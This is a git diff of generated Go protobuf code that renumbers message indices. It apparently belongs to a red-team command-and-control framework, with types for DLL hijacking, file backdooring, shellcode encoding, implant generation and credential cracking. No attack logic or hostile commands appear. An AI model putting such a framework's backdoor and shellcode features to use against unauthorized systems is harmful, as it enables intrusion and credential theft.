DllHijack.ProtoReflect.Descriptor instead. func (*DllHijack) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{82} + return file_clientpb_client_proto_rawDescGZIP(), []int{84} } func (x *DllHijack) GetResponse() *commonpb.Response { @@ -7164,7 +7282,7 @@ type BackdoorReq struct { func (x *BackdoorReq) Reset() { *x = BackdoorReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7177,7 +7295,7 @@ func (x *BackdoorReq) String() string { func (*BackdoorReq) ProtoMessage() {} func (x *BackdoorReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7190,7 +7308,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead. func (*BackdoorReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{83} + return file_clientpb_client_proto_rawDescGZIP(), []int{85} } func (x *BackdoorReq) GetFilePath() string { @@ -7225,7 +7343,7 @@ type Backdoor struct { func (x *Backdoor) Reset() { *x = Backdoor{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7238,7 +7356,7 @@ func (x *Backdoor) String() string { func (*Backdoor) ProtoMessage() {} func (x *Backdoor) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7251,7 +7369,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message { // Deprecated: Use Backdoor.ProtoReflect.Descriptor instead. func (*Backdoor) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{84} + return file_clientpb_client_proto_rawDescGZIP(), []int{86} } func (x *Backdoor) GetResponse() *commonpb.Response { @@ -7277,7 +7395,7 @@ type ShellcodeEncodeReq struct { func (x *ShellcodeEncodeReq) Reset() { *x = ShellcodeEncodeReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7290,7 +7408,7 @@ func (x *ShellcodeEncodeReq) String() string { func (*ShellcodeEncodeReq) ProtoMessage() {} func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7303,7 +7421,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead. func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{85} + return file_clientpb_client_proto_rawDescGZIP(), []int{87} } func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder { @@ -7360,7 +7478,7 @@ type ShellcodeEncode struct { func (x *ShellcodeEncode) Reset() { *x = ShellcodeEncode{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7373,7 +7491,7 @@ func (x *ShellcodeEncode) String() string { func (*ShellcodeEncode) ProtoMessage() {} func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7386,7 +7504,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead. func (*ShellcodeEncode) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{86} + return file_clientpb_client_proto_rawDescGZIP(), []int{88} } func (x *ShellcodeEncode) GetData() []byte { @@ -7414,7 +7532,7 @@ type ShellcodeEncoderMap struct { func (x *ShellcodeEncoderMap) Reset() { *x = ShellcodeEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7427,7 +7545,7 @@ func (x *ShellcodeEncoderMap) String() string { func (*ShellcodeEncoderMap) ProtoMessage() {} func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7440,7 +7558,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead. func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{87} + return file_clientpb_client_proto_rawDescGZIP(), []int{89} } func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder { @@ -7462,7 +7580,7 @@ type ExternalGenerateReq struct { func (x *ExternalGenerateReq) Reset() { *x = ExternalGenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7475,7 +7593,7 @@ func (x *ExternalGenerateReq) String() string { func (*ExternalGenerateReq) ProtoMessage() {} func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7488,7 +7606,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead. func (*ExternalGenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{88} + return file_clientpb_client_proto_rawDescGZIP(), []int{90} } func (x *ExternalGenerateReq) GetConfig() *ImplantConfig { @@ -7516,7 +7634,7 @@ type Builders struct { func (x *Builders) Reset() { *x = Builders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7529,7 +7647,7 @@ func (x *Builders) String() string { func (*Builders) ProtoMessage() {} func (x *Builders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7542,7 +7660,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message { // Deprecated: Use Builders.ProtoReflect.Descriptor instead. func (*Builders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{89} + return file_clientpb_client_proto_rawDescGZIP(), []int{91} } func (x *Builders) GetBuilders() []*Builder { @@ -7569,7 +7687,7 @@ type Builder struct { func (x *Builder) Reset() { *x = Builder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7582,7 +7700,7 @@ func (x *Builder) String() string { func (*Builder) ProtoMessage() {} func (x *Builder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7595,7 +7713,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message { // Deprecated: Use Builder.ProtoReflect.Descriptor instead. func (*Builder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{90} + return file_clientpb_client_proto_rawDescGZIP(), []int{92} } func (x *Builder) GetName() string { @@ -7665,7 +7783,7 @@ type Credential struct { func (x *Credential) Reset() { *x = Credential{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7678,7 +7796,7 @@ func (x *Credential) String() string { func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7691,7 +7809,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message { // Deprecated: Use Credential.ProtoReflect.Descriptor instead. func (*Credential) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{91} + return file_clientpb_client_proto_rawDescGZIP(), []int{93} } func (x *Credential) GetID() string { @@ -7761,7 +7879,7 @@ type Credentials struct { func (x *Credentials) Reset() { *x = Credentials{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7774,7 +7892,7 @@ func (x *Credentials) String() string { func (*Credentials) ProtoMessage() {} func (x *Credentials) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7787,7 +7905,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message { // Deprecated: Use Credentials.ProtoReflect.Descriptor instead. func (*Credentials) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{92} + return file_clientpb_client_proto_rawDescGZIP(), []int{94} } func (x *Credentials) GetCredentials() []*Credential { @@ -7809,7 +7927,7 @@ type Crackstations struct { func (x *Crackstations) Reset() { *x = Crackstations{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7822,7 +7940,7 @@ func (x *Crackstations) String() string { func (*Crackstations) ProtoMessage() {} func (x *Crackstations) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7835,7 +7953,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstations.ProtoReflect.Descriptor instead. func (*Crackstations) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{93} + return file_clientpb_client_proto_rawDescGZIP(), []int{95} } func (x *Crackstations) GetCrackstations() []*Crackstation { @@ -7861,7 +7979,7 @@ type CrackstationStatus struct { func (x *CrackstationStatus) Reset() { *x = CrackstationStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7874,7 +7992,7 @@ func (x *CrackstationStatus) String() string { func (*CrackstationStatus) ProtoMessage() {} func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7887,7 +8005,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead. func (*CrackstationStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{94} + return file_clientpb_client_proto_rawDescGZIP(), []int{96} } func (x *CrackstationStatus) GetName() string { @@ -7944,7 +8062,7 @@ type CrackSyncStatus struct { func (x *CrackSyncStatus) Reset() { *x = CrackSyncStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7957,7 +8075,7 @@ func (x *CrackSyncStatus) String() string { func (*CrackSyncStatus) ProtoMessage() {} func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7970,7 +8088,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead. func (*CrackSyncStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{95} + return file_clientpb_client_proto_rawDescGZIP(), []int{97} } func (x *CrackSyncStatus) GetSpeed() float32 { @@ -8000,7 +8118,7 @@ type CrackBenchmark struct { func (x *CrackBenchmark) Reset() { *x = CrackBenchmark{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8013,7 +8131,7 @@ func (x *CrackBenchmark) String() string { func (*CrackBenchmark) ProtoMessage() {} func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8026,7 +8144,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead. func (*CrackBenchmark) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{96} + return file_clientpb_client_proto_rawDescGZIP(), []int{98} } func (x *CrackBenchmark) GetName() string { @@ -8067,7 +8185,7 @@ type CrackTask struct { func (x *CrackTask) Reset() { *x = CrackTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8080,7 +8198,7 @@ func (x *CrackTask) String() string { func (*CrackTask) ProtoMessage() {} func (x *CrackTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8093,7 +8211,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackTask.ProtoReflect.Descriptor instead. func (*CrackTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{97} + return file_clientpb_client_proto_rawDescGZIP(), []int{99} } func (x *CrackTask) GetID() string { @@ -8166,7 +8284,7 @@ type Crackstation struct { func (x *Crackstation) Reset() { *x = Crackstation{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8179,7 +8297,7 @@ func (x *Crackstation) String() string { func (*Crackstation) ProtoMessage() {} func (x *Crackstation) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8192,7 +8310,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstation.ProtoReflect.Descriptor instead. func (*Crackstation) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{98} + return file_clientpb_client_proto_rawDescGZIP(), []int{100} } func (x *Crackstation) GetName() string { @@ -8292,7 +8410,7 @@ type CUDABackendInfo struct { func (x *CUDABackendInfo) Reset() { *x = CUDABackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8305,7 +8423,7 @@ func (x *CUDABackendInfo) String() string { func (*CUDABackendInfo) ProtoMessage() {} func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8318,7 +8436,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead. func (*CUDABackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{99} + return file_clientpb_client_proto_rawDescGZIP(), []int{101} } func (x *CUDABackendInfo) GetType() string { @@ -8412,7 +8530,7 @@ type OpenCLBackendInfo struct { func (x *OpenCLBackendInfo) Reset() { *x = OpenCLBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8425,7 +8543,7 @@ func (x *OpenCLBackendInfo) String() string { func (*OpenCLBackendInfo) ProtoMessage() {} func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8438,7 +8556,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead. func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{100} + return file_clientpb_client_proto_rawDescGZIP(), []int{102} } func (x *OpenCLBackendInfo) GetType() string { @@ -8538,7 +8656,7 @@ type MetalBackendInfo struct { func (x *MetalBackendInfo) Reset() { *x = MetalBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8551,7 +8669,7 @@ func (x *MetalBackendInfo) String() string { func (*MetalBackendInfo) ProtoMessage() {} func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8564,7 +8682,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead. func (*MetalBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{101} + return file_clientpb_client_proto_rawDescGZIP(), []int{103} } func (x *MetalBackendInfo) GetType() string { @@ -8762,7 +8880,7 @@ type CrackCommand struct { func (x *CrackCommand) Reset() { *x = CrackCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8775,7 +8893,7 @@ func (x *CrackCommand) String() string { func (*CrackCommand) ProtoMessage() {} func (x *CrackCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8788,7 +8906,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead. func (*CrackCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{102} + return file_clientpb_client_proto_rawDescGZIP(), []int{104} } func (x *CrackCommand) GetAttackMode() CrackAttackMode { @@ -9519,7 +9637,7 @@ type CrackConfig struct { func (x *CrackConfig) Reset() { *x = CrackConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9532,7 +9650,7 @@ func (x *CrackConfig) String() string { func (*CrackConfig) ProtoMessage() {} func (x *CrackConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[103] + mi := &file_clientpb_client_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9545,7 +9663,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead. func (*CrackConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{103} + return file_clientpb_client_proto_rawDescGZIP(), []int{105} } func (x *CrackConfig) GetAutoFire() bool { @@ -9589,7 +9707,7 @@ type CrackFiles struct { func (x *CrackFiles) Reset() { *x = CrackFiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9602,7 +9720,7 @@ func (x *CrackFiles) String() string { func (*CrackFiles) ProtoMessage() {} func (x *CrackFiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[104] + mi := &file_clientpb_client_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9615,7 +9733,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead. func (*CrackFiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{104} + return file_clientpb_client_proto_rawDescGZIP(), []int{106} } func (x *CrackFiles) GetFiles() []*CrackFile { @@ -9660,7 +9778,7 @@ type CrackFile struct { func (x *CrackFile) Reset() { *x = CrackFile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[105] + mi := &file_clientpb_client_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9673,7 +9791,7 @@ func (x *CrackFile) String() string { func (*CrackFile) ProtoMessage() {} func (x *CrackFile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[105] + mi := &file_clientpb_client_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9686,7 +9804,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFile.ProtoReflect.Descriptor instead. func (*CrackFile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{105} + return file_clientpb_client_proto_rawDescGZIP(), []int{107} } func (x *CrackFile) GetID() string { @@ -9780,7 +9898,7 @@ type CrackFileChunk struct { func (x *CrackFileChunk) Reset() { *x = CrackFileChunk{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[106] + mi := &file_clientpb_client_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9793,7 +9911,7 @@ func (x *CrackFileChunk) String() string { func (*CrackFileChunk) ProtoMessage() {} func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[106] + mi := &file_clientpb_client_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9806,7 +9924,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead. func (*CrackFileChunk) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{106} + return file_clientpb_client_proto_rawDescGZIP(), []int{108} } func (x *CrackFileChunk) GetID() string { @@ -9855,1547 +9973,1557 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xdf, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, - 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x55, 0x73, 0x65, 0x72, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, - 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 